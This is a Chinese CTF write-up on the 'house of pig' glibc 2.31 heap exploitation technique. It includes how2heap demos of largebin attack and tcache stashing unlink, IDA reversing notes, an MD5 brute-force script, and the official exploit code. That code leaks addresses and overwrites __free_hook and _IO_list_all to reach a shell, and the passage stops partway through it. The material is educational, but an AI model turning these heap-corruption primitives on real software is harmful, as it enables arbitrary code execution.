在復現這題之前需要了解一些前置知識:libc2.31下的largebin_attack,tcache_stashing_unlink plus以及高版本glibc下的IO_FILE攻擊
首先看到libc2.31下的largebin_attack
0x1.libc2.31下的largebin_attack
跟隨how2heap專案中的largebin_attack以及原始碼除錯來學習,
從libc2.30開始,largebin的插入代碼中新增了兩個檢查
先看到第一個點

將unsortedbin插入到largebin中時,且這個unsortedbin大于largebin的size,此時插入程序增加了雙向鏈表完整性檢查,
通常就是修改largebin的bk_nextsize=target_addr-0x20,然后在插入一個比原有largebin更大的unsortedbin時(后面稱原有的largebin為largebin1,新插入的為largebin2),在插入程序中,largebin1的bk_nextsize被設定為largebin1的bk_nextsize,即target_addr-0x20,后續victim->bk_nextsize->fd_nextsize = victim這條陳述句,會將target_addr-0x20+0x20位置寫入largebin2的地址,這是第一個點,
第二個點如下

這里的利用方式是修改largebin1的bk=target_addr-0x10,bck = fwd->bk;bck->fd = victim;這兩句代碼執行完畢后會將target_addr-0x10+0x10的位置寫入largebin1的地址,
如圖所示,這兩處都添加了檢查,
但當要插入的unsortedbin小于largebin的size時并沒有做檢查,如下圖

在這里并沒有進行檢查,因此在libc2.31下這里就成了新的利用點,
demo檔案如下
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
size_t target = 0;
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
free(p1);
size_t *g3 = malloc(0x438);
free(p2);
p1[3] = (size_t)((&target)-4);
size_t *g4 = malloc(0x438);
assert((size_t)(p2-2) == target);
return 0;
}
我刪掉了原檔案中的一些描述性代碼,以便于觀看代碼,
整體攻擊思路就是申請一大一小兩個chunk(后面稱為chunk1,chunk2),先free掉chunk1,然后申請一個更大的chunk來將chunk1從unsortedbin中插入到largebin,接著將chunk1的bk_nextsize設定為target_addr-0x20,這是第一步;第二步,free掉chunk2,然后申請一個更大的chunk來將chunk2從unsortedbin中插入到largebin中,由于此時插入的chunk2的size要小于chunk1,所以會觸發新的攻擊流程,這里我們采用原始碼除錯,以便更直觀地學習,
在程式執行到size_t *g4 = malloc(0x438);這一句時,堆的情況如下

largebin里放著0x430的chunk,unsortedbin里面則是0x420的


chunk1的bk_nextsize被設定為了target_addr-0x20
接下來我們將斷點下在_int_malloc函式


然后我們運行到將unsortedbin插入到largebin的代碼

首先獲取要插入的unsortedbin對應的largebin的index,然后獲取到對應的鏈表頭

由于此時largebin中已經有了一個chunk,所以對應鏈表頭的fd和bk都被設定為了這個largebin的地址,類似于下面這樣

然后進入到插入環節

將bck,也就是鏈表頭賦值給fwd,將bck->bk(chunk1的地址)賦值給bck,進入到插入操作,首先將chunk2(即將插入的chuhnk)的fd_nextsize設定為chunk1的地址

再將chunk2的bk_nextsize設定為chunk1的bk_nextsize,而chunk1的bk_nextsize已經被修改為了target_addr-0x20,因此chunk2的bk_nextsize也會指向target_addr-0x20

最后一行代碼用于修改chunk1的fd_nextsize和bk_nextsize為chunk2的地址,由于設定chunk1的fd_nextsize是通過
victim->bk_nextsize->fd_nextsize來設定的,而victim->bk_nextsize指向的是一個錯誤的地址,執行完這條賦值陳述句后就會在target_addr+0x20的位置上寫入chunk2的地址

至此就實作了類似于libc2.23下的unsortedbin attack,往任意地址寫入一個堆地址,
0x2.tcache_stashing_unlink plus
此種利用方式可以達成任意地址處分配一個chunk
demo如下
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
victim[1] = (uint64_t)(&victim);
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
return 0;
}
整體思路如下
1.tcache中放5個,smallbin中放兩個
2.將后進smallbin的chunk的bk(不破壞fd指標的情況下)修改為目標地址-0x10,同時將目標地址+0x8處的值設定為一個指向可寫記憶體的指標,
3.從smallbin中取一個chunk,走完stash流程,目標地址就會被鏈入tcache中,
依然是原始碼除錯
將斷點下在calloc(1, 0x50);這一行,以及_int_malloc
先看看此時的記憶體情況

victim就是我們的目標,&victim+0x8的位置已經被設定為了一個指向可寫記憶體的指標

后進入的smallbin的bk指標指向了&victim-0x10

0x60的tcache里面有五個,0x60的smallbin里面有兩個
接下來我們跟進到int_malloc中
由于calloc不從tcache中取chunk,所以會直接從smallbin中取出一個chunk


鏈表頭和兩個smallbin的結構如下


victim = last (bin)取最后一個chunk(從上面的結構圖里面能看得很清楚)
last是一個宏定義,如下
#define last(b) ((b)->bk)
接著往前遍歷,取倒數第二個chunk,還會進行雙向鏈表的完整性檢查


bin->bk = bck;
bck->fd = bin;
這兩條代碼將最后一個chunk解鏈,執行后結構如下

然后運行到這里

size_t tc_idx = csize2tidx (nb);會先計算出此時申請的chunk的size對應于tcache的哪一條鏈

如果這條鏈的tcache中還有空余且smallbin也有chunk


滿足條件,然后取出smallbin中的最后一個chunk

bck=tc_victim->bk;//取倒數第二個smallbin,但tc_victim->bk已經被我們設定為了&victim-0x10
set_inuse_bit_at_offset (tc_victim, nb);
if(av !=&main_arena)
set_non_main_arena (tc_victim);
bin->bk=bck;
bck->fd=bin;//將倒數第一個chunk解鏈
依次運行上述代碼

bck如果我們分析一樣,是&victim-0x10

鏈表頭的bk指標指向了&victim-0x10

bck->fd=bin,即&victim-0x10+0x10=&victim被設定為了bin頭,解鏈后結構如下

之后再將tc_victim放入tcache
放入前

放入后

看到這里相信大家就大概能明白為什么這個攻擊手法可以任意地址分配一個chunk了,此時tcache中還剩一個空位,程式會繼續從smallbin中取chunk放入tcache,此時smallbin中只剩下victim,我們繼續除錯

新一輪的tc_victim為&victim-0x10
接下來會找到倒數第二個chunk

因此我們需要將&victim-0x10+0x18處設定為一個可寫地址x,方便后面往其中寫bin頭地址,而demo一開始就將其設定好了,

victim[1] = (uint64_t)(&victim);
后續的就是繼續解鏈,然后將victim加入到tcache

至此攻擊完成
0x3.高版本下的_IO_FILE利用
在2.23下一般攻擊FILE結構體就是劫持IO函式的_chain欄位為我們偽造的IO_FILE_plus,然后修改vtable表中的io_str_overflow為system,在高版本libc下,如libc2.31下也依然是利用io_str_overflow這個函式,但io_str_overflow函式的實作發生了變化
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
可以看到io_str_overflow呼叫了malloc,memcpy,free等函式
我們回溯一下malloc的引數new_size的來源
size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
如果我們能控制(fp)->_IO_buf_end - (fp)->_IO_buf_base就能夠控制malloc申請的chunk大小,再看到后面這一段
if (old_buf)//char *old_buf = fp->_IO_buf_base;
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
如果old_buf指向的記憶體空間有資料,則將使用memcpy將old_buf中的資料拷貝到new_buf中,拷貝的長度為old_blen,然后再free (old_buf);
再看到_IO_str_overflow的匯編

在+53這一行,會將[rdi+0x28]處的值送到rdx中,而自從libc2.29開始,setcontext中的gadget索引由rdi變為了rdx,需要先控制rdx的值才能夠進行后續的srop
而_IO_str_overflow中的這潭訓編正好可以將rdx進行賦值,且來源還是rdi,rdi正好是FILE結構體的首地址,只需要將fp+0x28設定為我們可以控制的地址就可以進行srop,且這條陳述句是在malloc之前執行的,所以利用方法就是:首先將malloc_hook設定為setcontext+61,然后觸發_IO_str_overflow,事先在我們偽造的FILE結構體中設定好相應的資料,從而將rdx賦值為我們可以控制的地址,接著_IO_str_overflow呼叫malloc觸發setcontext,進行srop,
觸發malloc的條件如下
fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */
fp->_IO_write_ptr=srop_addr
/*
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x00007ffff7e2f0dd <+61>: mov rsp,QWORD PTR [rdx+0xa0]
*/
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100);
memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base);
free (fp->_IO_buf_base);
0x4.house of pig
libc版本為2.31,用c++寫的
0x1.修復switch table
IDA反編譯,查看main函式

看到一條 __asm { jmp rax },這是因為IDA沒能正確識別switch跳轉,修復一下,看到匯編

jmp rax的地址在0x3794,跳轉表在0x69e0

跳轉表是一位元組一位元組的,連續按d修改成四位元組一組,一共有6個跳轉

接下來開始修復跳轉表,首先選中jmp rax那潭訓編,再按如下路徑選取specify switch idiom

配置如下

由上至下分別為
跳轉表的地址;跳轉的數量;每一個跳轉值的長度;基值;跳轉開始的位置;跳轉使用的暫存器;/;默認跳轉位置,
修復成功后如下所示

舒服了許多,
0x2.恢復結構體
開始分析程式
隨便點開程式開頭的一個函式

一串賦值0的操作,不明白什么意思,繼續往下
找到選單

一共有五個功能,增查改刪以及切換人物
點開case 1對應的函式,也就是add函式

里面嵌套著一個switch,點開case1對應的函式看看

相當難看,很多對地址進行的操作,這種情況盡可能恢復程式的結構體方便后續分析,先大致分析一下這個函式的流程,
最多能申請20次,申請的chunk的大小要大于等于0x90小于等于0x430.并且每一次申請的chunk的size都要大于等于上一次所申請的,申請堆塊用的是calloc函式,calloc不從tcache中取,
*(_DWORD *)(unk_9070 + 0x150LL) = v8;
如果size合法的話,就將size賦值給*(_DWORD *)(unk_9070 + 0x150LL),這個unk_9070 中存放的是mmap出來的一塊記憶體的地址,
*(_DWORD *)(a1 + 4 * (i + 48LL)) = v8;
*(_BYTE *)(a1 + i + 288) = 0;
*(_BYTE *)(a1 + i + 312) = 0;
這一段尋址看的不清晰,我們修改一下這個函式傳入的引數的型別

原本是int64型別,我們將其修改為char * ,在引數上按y修改型別

修改完后上面那一段就變成了如下所示

這樣子看起來就比上面那段看起來清楚一些,將a1[4 * i + 0xC0]賦值為size,將a1[i + 0x120]以及a1[i + 0x138]都賦值為0.
繼續往下看

將size/0x30,也就是將申請的chunk以0x30大小切片,每次都往切片的頂部讀入0x10個位元組的資料,
這個函式到這就算分析得差不多了,但如果我們要恢復程式使用的結構體,這些資訊還不夠,繼續分析其他函式,
再看到add功能的case 2
case 2的函式與case1對應的函式只有幾處不一樣

size存放到mmap中的位置變了

將chunk切片之后不再是從頂部寫入,而是從偏移0x10處開始寫
case3對應的函式不同之處也是在這兩處,就不再說了,
由add功能可以猜測,add功能傳入的引數應該是一個結構體,
*(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //存盤堆地址
*(_DWORD *)&a1[4 * i + 0xC0] = v8; //存盤chunk size
a1[i + 0x120] = 0; //意義不明
a1[i + 0x138] = 0;//意義不明
再看到view功能

首先判斷*(int *)(unk_9070 + 0x404LL)的值是否大于0,然后依然有三個函式,進入第一個函式

輸入一個序號,然后會有以下三個判斷
*(_QWORD *)&a1[8 * v4] //判斷chunk是否存在
*(_DWORD *)&a1[4 * v4 + 0xC0] //判斷對應的size是否存在
!a1[v4 + 0x120]
滿足這三個條件就會輸出對應chunk的值
另外兩個函式也基本一致
看到edit功能

和view功能一樣,開頭會檢查一個全域變數的值*(int *)(unk_9070 + 0x408LL)是否大于0,大于0才會進入到edit的子函式中,查看第一個函式

依然有三個判斷,和view的判斷是相同的,通過判斷的話就會重新往chunk中寫入資料,也是先切片再寫資料,和add功能中的邏輯一樣
看到delete功能

delete功能沒有次數的限制,進入第一個子函式

delete功能依然有三個檢查
*(_QWORD *)&a1[8 * v4]
&& !a1[v4 + 0x120]
&& !a1[v4 + 0x138]
檢查chunk是否存在,檢查!a1[v4 + 0x120] 和!a1[v4 + 0x120]這兩個位置是否為0,通過檢查的話則進行free,并將兩個標志位置1,但并沒有將堆指標清0,
前四個功能分析完畢,第五個功能稍后再談,我們先通過這四個功能恢復出程式使用的結構體
總結如下
1.結構體至少需要存盤20*8=0xa0的堆地址
2.還需要存盤20*4=0x50的size資料
3.view,edit功能使用了a1[v4+0x120]處的標志位
4.delete功能使用了a1[v4+0x138]和a1[v4+0x120]處的標志位,也就是結構體應該有兩個標志位陣列,陣列元素大小為1位元組,因此結構體還需要存盤20*1*2=0x28大小的標志位
初步猜測結構體應該如下所示
struct house
{
char *list[20];
int size[20];
char flag[20];
char flagg[20];
};
但這樣子其實是有錯誤的,回到add功能

堆地址是從結構體的頭部開始存盤的,而size資料則是從結構體偏移0xc0開始存盤的,如果只存盤20個堆地址的話,那么只占用0xa0的大小,size應該從0xa0開始存盤;要使size從0xc0開始存盤,則堆地址存盤的上限應為0xc0/0x8=0x18個,同樣的,size,flag,flagg的存盤上限也應為0x18(大家可以自行計算一下,上限為0x18的話各種偏移就都正好滿足),這樣的話結構體應該如下
struct house{ char *list[0x18]; int size[0x18]; char flag[0x18]; char flagg[0x18];};
規劃好結構體之后就可以往ida中添加了

點到local types界面

右鍵選擇insert

直接輸入結構體代碼

local types中會出現我們自定義的結構體型別
我們再回到add功能,修改引數型別

將其修改為house *型別

修改成功
我們再接著把程式中用到了這個結構體的函式的引數型別統統修改
比如我們在一開始點進去的那個一大堆賦值0的函式,修改完后就變成了下面這樣

清楚了億點點
其他需要修改為house結構體的位置我就不一一修改給大家看了,可以自行操作
但,程式中不止存在這一個結構體,在add功能中

很明顯,0x9070的值指向的空間也是一個結構體,我們接下來對這個結構體進行恢復
在程式一開始,有這么一個函式

將0x9070指向位置的資料拷貝到house結構體中,并且每一個memcpy函式拷貝的大小都是house結構體不同成員的大小
現在我們繼續往下看到功能5 Change roles

讓我們輸入密碼,呼叫strlen得出密碼的長度,呼叫sub_13C9這個函式
unsigned __int64 __fastcall sub_13C9(_DWORD *a1)
{
unsigned __int64 v2; // [rsp-10h] [rbp-10h]
v2 = __readfsqword(0x28u);
*a1 = 0;
a1[1] = 0;
a1[2] = 0x67452301;
a1[3] = 0xEFCDAB89;
a1[4] = 0x98BADCFE;
a1[5] = 0x10325476;
return __readfsqword(0x28u) ^ v2;
}
這一串十六進制數是md5加密的特征,后面的sub_2916和sub_2A8B也就不用看了,實際上就是將我們輸入的密碼進行md5加密,然后將md5加密后的資料和設定的好的md5值進行對比,進行比較的條件有三個

滿足任意一個即可進入到if代碼塊中,這里需要注意的是,前兩個比較使用的是memcmp,而第三個比較使用的是strcmp,strcmp存在0字符截斷問題,我們看到dword_6928

這串md5的開頭存在\x00,所以在和這串md5值比較的時候實際上會提前截斷,因此我們要找的只是以0x3c4400開頭的md5對應的原值
我們再看到if代碼塊,if中的代碼會判斷我們輸入的密碼的第一個字符為A,B,C中的哪一個,然后回傳1或2或3來切換角色,
根據以上的分析,如果我們想要切換角色,輸入的密碼需要以A,或B或C開頭,且經過md5加密后需要以0x3c4400開頭,這樣的一串md5的原值還是有一些的,寫了個爛腳本,就嗯爆破,在9位數字內各找到了滿足條件的密碼
import hashlib
def main():
start = "3c4400"
while True:
for i in range(100000000):
s='A'+str(i)
#s='B'+str(i)
#s='C'+str(i)
print "Test %s " % s
if hashlib.md5(s).hexdigest().startswith(start):
f=open('list','w')
f.write(s+'\n')
f.close()
if __name__ == '__main__':
main()
'''
A39275120
B3332073
C75929410
'''
如果師傅們有更好的辦法的話希望能指點一下(太菜了)
知道了如何更改角色以后再繼續往下看

會根據回傳的角色值來進行switch選擇要執行的函式,進入case1查看一下

將house結構體的資料拷貝到qword_9070中
看到case2

一樣的功能,只不過拷貝的目標地址發生了變化,case3也是一樣的
到這里為止,我們先考慮恢復qword_9070指向的結構體,很明顯,根據這三個case,我們可以推斷出這個結構體(后面稱為tmp_house)至少有3個house結構體的大小,但還有一些小細節需要注意,回看到add功能
case1

case2

在tmp_house結構體中還需要存盤當前size的大小,每一個角色都有一個對應的current_size,因此tmp_house還應在原有的3個house結構體的大小上在添加3個int型別的大小,但這依然不夠
在view功能中

tmp_house結構體中還需要記錄能夠view的次數,注意,這里qword_9070+0x101,并不是說在偏移為0x101的位置處,還需要看到前面是int型別的指標,是四位元組,所以實際上應該是0x101*4=0x404的偏移,上面的current_size也是如此,
在edit功能中

tmp_house結構體中還需要記錄能夠edit的次數
因此,tmp_house結構體應該如下
struct tmp_house
{
struct house peppa_house;
int current_peppasize;
struct house mummy_house;
int current_mummysize;
struct house daddy_house;
int current_daddysize;
int show_time;
int edit_time;
};
在ida中創建結構體,看看我們的推測是否正確
add功能


edit功能

成功
結構體恢復就到此為止了,現在再來分析程式就會舒服很多(貼了好多圖,希望師傅們看得清楚些)
0x3.漏洞分析
經過了上一階段的分析,我們已經大致梳理了一遍程式的邏輯,現在來總結一下,并補充上面沒有說到的
首先,這個程式有三個角色可以選擇,在三個角色之間可以來回切換,在程式的開頭會將三個角色各自的結構體的兩個標志位都清0,程式運行起來后默認是使用的peppa這個角色,每個角色都有增刪查改切換這五個功能,在view和edit功能中會檢查第一個標志位flag是否為0,為0的情況下才能夠進行相關操作;delete功能會檢查flag和flagg這兩個標志位是否都為0,都為0才會進行free,free之后將flag和flagg標志位置1,但并沒有清空堆指標,所以這里可能會存在uaf;隨后是切換角色的流程,假如我們從peppa切換到mummy

如果next_character_num!=character_num,就會先將當前的角色的house結構體存盤到global_house中,看到save_peppa_house這個函式

仔細觀察,是不是少了些什么?house有兩個標志位,flag和flagg,但這里只將flagg標志位保存了下來,繼續往下看

接著根據next_character_num來恢復現場

在recover_peppahouse函式中將global_house中所有的資料都拷貝到了對應角色的house結構體中,而global_house中的對應的flag標志位是0,也就是說,當我們使用peppa這個角色free了一個chunk之后,flag=1,flagg=1,且這個chunk的指標沒有清0,再切換到mummy,只會將flagg標志位進行存盤,我們再切換回peppa這個角色,就會將global_house中的flag標志位賦值給house,這樣一來peppa_house的flag=0,flagg=1,除了不能再次delete,view和edit功能都可以使用,也就是一個uaf漏洞,其他的角色也是一樣,來回切換一次可以造成一個uaf,
0x4.漏洞利用
程式使用calloc來申請chunk,因此無法使用tcache attack,并且申請的chunk要大于0x90,也無法使用fastbin attack(不知是否可以使用largebin_attack來攻擊global_max_fast?)
house of pig本質上是通過 libc2.31 下的
largebin attack以及FILE 結構利用,來配合 libc2.31 下的tcache stashing unlink attack進行組合利用的方法
整體思路如下:
1.為tcache_stashing_unlink plus做好準備,往一個tcache鏈中放入五個chunk,再往同樣大小的smallbin中放入兩個chunk,
2.構造出largebin,泄露libc地址和heap地址,進行第一次largebin attack,將free_hook-0x8的位置寫上一個堆地址
3.進行tcache_stashing_unlink ,將free_hook-0x10作為一個堆地址鏈入tcache頭,但由于使用calloc,我們無法申請到這個chunk
4.進行第二次largebin attack,將_io_list_all覆寫成一個堆地址,我們在這個堆上偽造IO_FILE,偽造的FILE結構體需要滿足要求以呼叫malloc來申請tcache中的chunk,也就是我們要使2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100=free_hook所在的那個tcache鏈的大小,并且還要修改vtable指標,vtable原本指向IO_file_jumps,將其修改為指向_IO_str_jumps,原本應該呼叫 IO_file_overflow 的時候,就會轉而呼叫如下的 IO_str_overflow,這樣一來就能夠進而呼叫malloc申請到free_hook-0x10處的空間,而如果_IO_buf_base指向的空間有資料的話,還會將其中的資料拷貝到malloc申請的chunk中,所以我們可以在IO_buf_base指向的空間布置好/bin/sh和system的地址,這樣一來就被被memcpy到free_hook-0x10處,IO_str_overflow在最后還會free掉IO_buf_base指向的chunk,這樣就會觸發system('/bin/sh')getshell
(我太懶了,就直接拿官方exp來講解了,師傅們包容包容orz)
第一部分,為tcache_stashing_unlink 做準備
Change(2)
for x in xrange(5):
Add(0x90, 'B'*0x28) # B0~B4
Del(x) # B0~B4
#到這里0xa0的tcache中放入了5個chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
for x in xrange(7):
Add(0x150, 'A'*0x68) # A1~A7
Del(1+x)
Del(0)
#將0x160的chunk放入到unsortedbin
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
#將0x160的chunk分割為0xc0和0xa0的,unsortedbin還剩下0xa0
Change(1)
Add(0x180, 'A'*0x78) # A8
#將0xa0的unsortedbin放入smallbin,0xa0的smallbin目前有一個
for x in xrange(7):
Add(0x180, 'A'*0x78) # A9~A15
Del(9+x)
Del(8)
#將0x190的chunk翻入unsortedbin
Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#切割unsortedbin,unsortedbin還剩下0xa0
#----- leak libc_base and heap_base
Change(1)
Add(0x430, 'A'*0x158) # A16
#將0xa0的unsortedbin放入到smallbin,0xa0的chunk目前有兩個
#至此,tcache_stashing_unlink的準備作業完成一部分

此時的bins如上圖
第二部分,泄露libc地址和heap地址
Change(1)
Add(0x430, 'A'*0x158) # A16
Change(2)
Add(0xf0, 'B'*0x48) # B7
#B7作為A16和topchunk的隔離,防止A16被free后和topchunk合并
Change(1)
Del(16)
#free A16,將A16放入unsortedbin
Change(2)
Add(0x440, 'B'*0x158) # B8
#申請一個比unsortedbin更大的chunk,將unsortedbin放入largebin,則largebin中有一個0x440的chunk
#由于largebin的bk和fd為libc地址,fd_nextsize和bk_nextsize為堆地址,因此可以通過這個largebin來泄露libc地址和heap地址
Change(1)
#切換角色,造成uaf
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
#利用uaf泄露libc地址
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
#使用edit覆寫fd和bk,泄露出heap地址

上圖是將A16 free之后的情況
以及下圖是此時的bins

第三部分,第一次largebin_attack 將free_hook-0x8寫為一個堆地址
#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
#將0x440的largebin的fd和bk指標恢復
Add(0x430, 'A'*0x158) # A17
#將largebin中的chunk申請回來
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
#后續使用
Change(2)
Del(8)
Add(0x450, 'B'*0x168) # B9
#將B8 0x440的chunk放入largebin
Change(1)
Del(17)
#將A17 0x430的chunk放入unsortedbin
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')
#修改B8的fd_nextsize和bk_nextsize,以滿足largebin attack的要求 注:mummy的edit是直接從偏移0x10的位置寫入,忘記了的可以看看程式
Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#會從0x430的unsortedbin中切割0xb0的chunk之前,會先將這個0x430的chunk放到largebin上,再進行切割,切割之后會產生last remainder,再將last remainder放到unsortedbin上,在將unsortedbin放入largebin時就已經出發了largebinattack,往free_hook-0x8處寫入了一個堆地址
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#恢復現場
這里解釋一下Add(0xa0, 'C'*0x28)為什么能觸發largebin_attack

在int_malloc函式的大回圈開始處就會獲取unsortedbin中的chunk
還是通過原始碼除錯來看看,不過就只標出幾個關鍵點,畢竟這不是本文的重點

pwndbg> p/x size
$2 = 0x440
pwndbg> p victim
$3 = (mchunkptr) 0x55a1135af940
unsortedbin
all: 0x55a1135af940 —? 0x7f61ad8c2be0 (main_arena+96) ?— 0x55a1135af940
取到了unsortedbin中的chunk


將unsortedbin中的chunk解鏈

將unsortedbin插入到largebin

這一步之后實際上就已經完成了largebin attack,但我們繼續把流程走完

largebin中多出了一個chunk
后續會進行一大堆標志位設定,我們直接看到切割chunk


切割了之前的unsortedbin,remainder產生

然后將last_remainder插入到unsortedbin中

流程結束,第一次largebin attack完成

free_hook-0x8被寫入了一個堆地址
第四部分 第二次largebin attack ,往_io_list_all寫入一個堆地址
#----- second largebin_attack
Change(3)
Add(0x380, 'C'*0x118) # C1
#將lastremainder申請回來
Change(1)
Del(19)
#free A19,大小為0x430的chunk
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')
#故技重施,將largebin中的0x440的chunk的bk_nextsize修改為IO_list_all-0x20
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#和第三部分的一樣,觸發largebin_attack
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#恢復現場

第二次largebin attack完成
第五部分 tcache_stashing_unlink plus IO_FILE攻擊
#----- tcache_stashing_unlink_attack and FILE attack
Change(1)
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')
